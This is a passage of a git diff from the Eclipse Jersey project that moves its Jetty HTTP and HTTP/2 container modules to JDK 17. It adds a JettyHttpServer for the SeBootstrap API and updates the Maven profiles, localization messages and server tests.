configuration) { + final LoomishExecutors executors = VirtualThreadUtil.withConfig(configuration, false); + if (executors.isVirtual()) { + super.setMaxThreads(Integer.MAX_VALUE - 1); + } + + this.threadFactory = new ThreadFactoryBuilder() + .setNameFormat("jetty-http-server-%d") + .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler()) + .setThreadFactory(executors.getThreadFactory()) + .build(); + } + + @Override + public Thread newThread(Runnable runnable) { + return threadFactory.newThread(runnable); + } + } +}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java new file mode 100644 index 0000000..9734342 --- /dev/null +++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,117 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY; +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.CompletionException; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; + +/** + * Jersey {@code Server} implementation based on Jetty + * {@link org.eclipse.jetty.server.Server Server}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +final class JettyHttpServer implements WebServer { + + private final JettyHttpContainer container; + + private final org.eclipse.jetty.server.Server httpServer; + + JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) { + this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration); + } + + JettyHttpServer(final Class<? extends Application> applicationClass, + final JerseySeBootstrapConfiguration configuration) { + this(new JettyHttpContainer(applicationClass), configuration); + } + + JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) { + final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration + .sslClientAuthentication(); + final SslContextFactory.Server sslContextFactory; + if (configuration.isHttps()) { + sslContextFactory = new SslContextFactory.Server(); + sslContextFactory.setSslContext(configuration.sslContext()); + sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL); + sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY); + } else { + sslContextFactory = null; + } + this.container = container; + this.httpServer = JettyHttpContainerFactory.createServer( + configuration.uri(true), + sslContextFactory, + this.container, + configuration.autoStart()); + } + + @Override + public final JettyHttpContainer container() { + return this.container; + } + + @Override + public final int port() { + final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0]; + final int configuredPort = serverConnector.getPort(); + final int localPort = serverConnector.getLocalPort(); + return localPort < 0 ? configuredPort : localPort; + } + + @Override + public final CompletableFuture<Void> start() { + return CompletableFuture.runAsync(() -> { + try { + this.httpServer.start(); + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final CompletableFuture<Void> stop() { + return CompletableFuture.runAsync(() -> { + try { + this.httpServer.stop(); + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final <T> T unwrap(final Class<T> nativeClass) { + return nativeClass.cast(this.httpServer); + } + +}
diff --git a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainer.java deleted file mode 100644 index a2159c8..0000000 --- a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainer.java +++ /dev/null
@@ -1,62 +0,0 @@ -/* - * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.jetty; - -import jakarta.ws.rs.ProcessingException; -import jakarta.ws.rs.core.Application; -import org.glassfish.jersey.jetty.internal.LocalizationMessages; -import org.glassfish.jersey.server.ApplicationHandler; -import org.glassfish.jersey.server.ResourceConfig; -import org.glassfish.jersey.server.spi.Container; - -/** - * Jersey {@code Container} stub based on Jetty {@link org.eclipse.jetty.server.Handler}. - * - * For JDK 1.8 only since Jetty 11 does not support JDKs below 11 - * - */ -public final class JettyHttpContainer implements Container { - - public JettyHttpContainer(Application application) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - public JettyHttpContainer(Application application, final Object parentContext) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - @Override - public ResourceConfig getConfiguration() { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - @Override - public ApplicationHandler getApplicationHandler() { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - @Override - public void reload() { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - @Override - public void reload(ResourceConfig configuration) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - -}
diff --git a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java deleted file mode 100644 index 1218c2e..0000000 --- a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java +++ /dev/null
@@ -1,93 +0,0 @@ -/* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.jetty; - -import jakarta.ws.rs.ProcessingException; -import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.util.ssl.SslContextFactory; -import org.glassfish.jersey.internal.util.JdkVersion; -import org.glassfish.jersey.jetty.internal.LocalizationMessages; -import org.glassfish.jersey.server.ResourceConfig; - -import java.net.URI; - -/** - * Jersey {@code Container} stub. - * - * For JDK 1.8 only since Jetty 11 does not support JDKs below 11 - * - */ -public final class JettyHttpContainerFactory { - - private JettyHttpContainerFactory() { - } - - public static Server createServer(final URI uri) throws ProcessingException { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createServer(final URI uri, final boolean start) throws ProcessingException { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createServer(final URI uri, final ResourceConfig config) - throws ProcessingException { - - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start) - throws ProcessingException { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createServer(final URI uri, final ResourceConfig config, final boolean start, - final Object parentContext) { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory, - final ResourceConfig config) - throws ProcessingException { - validateJdk(); - return null; // does not work at JDK 1.8 } - } - - public static Server createServer(final URI uri, - final SslContextFactory.Server sslContextFactory, - final JettyHttpContainer handler, - final boolean start) { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - private static void validateJdk() { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - } -}
diff --git a/containers/jetty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider new file mode 100644 index 0000000..403cc50 --- /dev/null +++ b/containers/jetty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@ +org.glassfish.jersey.jetty.JettyHttpServerProvider \ No newline at end of file
diff --git a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties index 6d0d06c..2fb2350 100644 --- a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties +++ b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -1,5 +1,5 @@ # -# Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -15,10 +15,11 @@ # # {0} - status code; {1} - status reason message +container.started=JettyHttpContainer.handle(...) started. exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response. error.when.creating.server=Exception thrown when trying to create jetty server. unable.to.close.response=Unable to close response output. uri.cannot.be.null=The URI must not be null. wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL. wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL. -not.supported=Jetty container is not supported on JDK version less than 11. +not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java index 3a953e1..7519624 100644 --- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
@@ -1,5 +1,6 @@ /* * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -29,6 +30,7 @@ import org.glassfish.jersey.server.ResourceConfig; import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; import org.junit.jupiter.api.AfterEach; /** @@ -51,20 +53,24 @@ * @return The HTTP port of the URI */ protected final int getPort() { + if (server != null) { + return ((ServerConnector) server.getConnectors()[0]).getLocalPort(); + } + final String value = AccessController .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); if (value != null) { try { final int i = Integer.parseInt(value); - if (i <= 0) { - throw new NumberFormatException("Value not positive."); + if (i < 0) { + throw new NumberFormatException("Value is negative."); } return i; } catch (NumberFormatException e) { LOGGER.log(Level.CONFIG, "Value of 'jersey.config.test.container.port'" - + " property is not a valid positive integer [" + value + "]." + + " property is not a valid non-negative integer [" + value + "]." + " Reverting to default [" + DEFAULT_PORT + "].", e); } @@ -89,18 +95,16 @@ return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); } - public void startServer(Class... resources) { + public void startServer(Class<?>... resources) { ResourceConfig config = new ResourceConfig(resources); config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); - final URI baseUri = getBaseUri(); - server = JettyHttpContainerFactory.createServer(baseUri, config); - LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + startServer(config); } public void startServer(ResourceConfig config) { final URI baseUri = getBaseUri(); server = JettyHttpContainerFactory.createServer(baseUri, config); - LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri()); } public URI getBaseUri() {
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java new file mode 100644 index 0000000..004a334 --- /dev/null +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
@@ -0,0 +1,196 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import static java.lang.Boolean.FALSE; +import static java.lang.Boolean.TRUE; +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.nullValue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.greaterThan; + +import java.security.AccessController; +import java.security.NoSuchAlgorithmException; +import java.util.Collections; +import java.util.Set; +import java.util.concurrent.CompletionStage; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; + +import javax.net.ssl.SSLContext; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Timeout; + +/** + * Unit tests for {@link JettyHttpServerProvider}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class JettyHttpServerProviderTest { + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServer() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + shouldProvideServer(ShouldProvideServerApplication.class, resource); + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + final Application application = new ShouldProvideServerApplication(); + shouldProvideServer(application.getClass(), resource); + } + + private void shouldProvideServer(final Object application, final Resource resource) + throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new JettyHttpServerProvider(); + final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE); + + // when + final WebServer webServer = Application.class.isInstance(application) + ? webServerProvider.createServer(WebServer.class, (Application) application, configuration) + : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration); + final Object nativeHandle = webServer.unwrap(Object.class); + final CompletionStage<?> start = webServer.start(); + final Object startResult = start.toCompletableFuture().get(); + final Container container = webServer.container(); + final int port = webServer.port(); + final String entity = ClientBuilder.newClient() + .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request() + .get(String.class); + final CompletionStage<?> stop = webServer.stop(); + final Object stopResult = stop.toCompletableFuture().get(); + + // then + assertThat(webServer, is(instanceOf(JettyHttpServer.class))); + assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class))); + assertThat(startResult, is(nullValue())); + assertThat(container, is(instanceOf(JettyHttpContainer.class))); + assertThat(port, is(greaterThan(0))); + assertThat(entity, is(resource.toString())); + assertThat(stopResult, is(nullValue())); + } + + @Path("/") + protected static final class Resource { + @GET + @Override + public String toString() { + return Resource.class.getName(); + } + } + + protected static class ShouldProvideServerApplication extends Application { + @Override + public Set<Object> getSingletons() { + return Collections.singleton(new Resource()); + } + } + + private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName()); + + private static final int DEFAULT_PORT = 0; + + private static final int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (final NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + + return DEFAULT_PORT; + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public final void shouldScanFreePort() throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new JettyHttpServerProvider(); + final Application application = new Application(); + final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE); + + // when + final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration); + + // then + assertThat(webServer.port(), is(greaterThan(0))); + } + + private SeBootstrap.Configuration configuration(int port, boolean autoStart) { + return (SeBootstrap.Configuration) name -> { + switch (name) { + case SeBootstrap.Configuration.PROTOCOL: + return "HTTP"; + case SeBootstrap.Configuration.HOST: + return "localhost"; + case SeBootstrap.Configuration.PORT: + return port; + case SeBootstrap.Configuration.ROOT_PATH: + return "/"; + case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION: + return SSLClientAuthentication.NONE; + case SeBootstrap.Configuration.SSL_CONTEXT: + try { + return SSLContext.getDefault(); + } catch (final NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + case ServerProperties.WEBSERVER_AUTO_START: + return autoStart; + default: + return null; + } + }; + } + +} \ No newline at end of file
diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml index 59d26ef..fd9a89b 100644 --- a/containers/jetty-http2/pom.xml +++ b/containers/jetty-http2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.containers</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-jetty-http2</artifactId> @@ -32,6 +32,13 @@ <description>Jetty Http2 Container</description> + <properties> + <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory> + <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> + <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory> + <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory> + </properties> + <dependencies> <dependency> <groupId>org.glassfish.jersey.containers</groupId> @@ -44,16 +51,6 @@ </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-server</artifactId> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - <dependency> - <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-util</artifactId> <exclusions> <exclusion> @@ -63,16 +60,6 @@ </exclusions> </dependency> <dependency> - <groupId>org.eclipse.jetty.http2</groupId> - <artifactId>http2-server</artifactId> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-alpn-conscrypt-server</artifactId> <exclusions> @@ -129,84 +116,15 @@ </resources> </build> - <properties> - <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory> - <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory> - <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory> - <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> - </properties> - - <profiles> <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <properties> - <jetty.version>${jetty9.version}</jetty.version> + <jetty.version>${jetty11.version}</jetty.version> </properties> - <dependencies> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-client</artifactId> - <version>${jetty.version}</version> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-util</artifactId> - <version>${jetty.version}</version> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - </dependencies> - <build> - <directory>${java8.build.outputDirectory}</directory> - <plugins> - <plugin> - <groupId>org.codehaus.mojo</groupId> - <artifactId>build-helper-maven-plugin</artifactId> - <executions> - <execution> - <phase>generate-sources</phase> - <goals> - <goal>add-source</goal> - </goals> - <configuration> - <sources> - <source>${java8.sourceDirectory}</source> - </sources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <configuration> - <testExcludes> - <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude> - </testExcludes> - </configuration> - </plugin> - </plugins> - </build> - </profile> - <profile> - <id>Jetty11</id> - <activation> - <jdk>[11,)</jdk> - </activation> <build> <directory>${java11.build.outputDirectory}</directory> <plugins> @@ -227,17 +145,76 @@ </execution> </executions> </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> + <configuration> + <testExcludes> + <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude> + </testExcludes> + </configuration> + </plugin> </plugins> </build> </profile> <profile> - <id>copyJDK11FilesToMultiReleaseJar</id> + <id>JettyInclude</id> + <activation> + <jdk>[17,)</jdk> + </activation> + <dependencies> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-server</artifactId> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>jetty-http2-server</artifactId> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + </dependencies> + <build> + <directory>${java17.build.outputDirectory}</directory> + <plugins> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <executions> + <execution> + <phase>generate-sources</phase> + <goals> + <goal>add-source</goal> + </goals> + <configuration> + <sources> + <source>${java17.sourceDirectory}</source> + </sources> + </configuration> + </execution> + </executions> + </plugin> + </plugins> + </build> + </profile> + <profile> + <id>copyJDK17FilesToMultiReleaseJar</id> <activation> <file> - <!-- ${java11.build.outputDirectory} does not work here --> - <exists>target11/classes/org/glassfish/jersey/jetty/JettyHttp2ContainerFactory.class</exists> + <!-- ${java17.build.outputDirectory} does not work here --> + <exists>target17/classes/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.class</exists> </file> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -258,16 +235,16 @@ <inherited>true</inherited> <executions> <execution> - <id>copy-jdk11-classes</id> + <id>copy-jdk17-classes</id> <phase>prepare-package</phase> <goals> <goal>copy-resources</goal> </goals> <configuration> - <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory> + <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory> <resources> <resource> - <directory>${java11.build.outputDirectory}/classes</directory> + <directory>${java17.build.outputDirectory}/classes</directory> </resource> </resources> </configuration> @@ -279,14 +256,14 @@ <artifactId>maven-antrun-plugin</artifactId> <executions> <execution> - <id>copy-jdk11-sources</id> + <id>copy-jdk17-sources</id> <phase>package</phase> <configuration> <target> - <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> + <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> <echo>sources-jar: ${sources-jar}</echo> <zip destfile="${sources-jar}" update="true"> - <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/> + <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/> </zip> </target> </configuration> @@ -301,4 +278,4 @@ </profile> </profiles> -</project> +</project> \ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java index a402b27..3c43588 100644 --- a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java +++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
@@ -17,4 +17,4 @@ /** * Jersey Jetty HTTP2 container classes. */ -package org.glassfish.jersey.jetty.http2; +package org.glassfish.jersey.jetty.http2; \ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java index b03f409..cdea00a 100644 --- a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java +++ b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -16,20 +16,12 @@ package org.glassfish.jersey.jetty.http2; -import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory; -import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory; -import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory; -import org.eclipse.jetty.server.ConnectionFactory; -import org.eclipse.jetty.server.Connector; -import org.eclipse.jetty.server.HttpConfiguration; -import org.eclipse.jetty.server.HttpConnectionFactory; import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.server.ServerConnector; -import org.eclipse.jetty.server.SslConnectionFactory; import org.eclipse.jetty.util.ssl.SslContextFactory; + +import org.glassfish.jersey.internal.util.JdkVersion; import org.glassfish.jersey.jetty.JettyHttpContainer; -import org.glassfish.jersey.jetty.JettyHttpContainerFactory; -import org.glassfish.jersey.jetty.JettyHttpContainerProvider; +import org.glassfish.jersey.jetty.http2.LocalizationMessages; import org.glassfish.jersey.server.ContainerFactory; import org.glassfish.jersey.server.ResourceConfig; @@ -44,174 +36,40 @@ } - /** - * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. - * - * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path - * segment will be used as context path, the rest will be ignored. - * @return newly created {@link Server}. - * - * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. - * @throws IllegalArgumentException if {@code uri} is {@code null}. - */ public static Server createHttp2Server(final URI uri) throws ProcessingException { - return createHttp2Server(uri, null, null, true); + validateJdk(); + return null; // does not work at JDK lower than 17 } - /** - * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that - * in turn manages all root resource and provider classes declared by the - * resource configuration. - * <p/> - * This implementation defers to the - * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method - * for creating an Container that manages the root resources. - * - * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be - * used as context path, the rest will be ignored. - * @param configuration web application configuration. - * @param start if set to false, server will not get started, which allows to configure the underlying - * transport layer, see above for details. - * @return newly created {@link Server}. - * - * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. - * @throws IllegalArgumentException if {@code uri} is {@code null}. - */ public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start) throws ProcessingException { - return createHttp2Server(uri, null, - ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start); + validateJdk(); + return null; // does not work at JDK lower than 17 } - /** - * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. - * - * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path - * segment will be used as context path, the rest will be ignored. - * @param start if set to false, server will not get started, which allows to configure the underlying transport - * layer, see above for details. - * @return newly created {@link Server}. - * - * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. - * @throws IllegalArgumentException if {@code uri} is {@code null}. - * - * @since 2.40 - */ - public static Server createHttp2Server(final URI 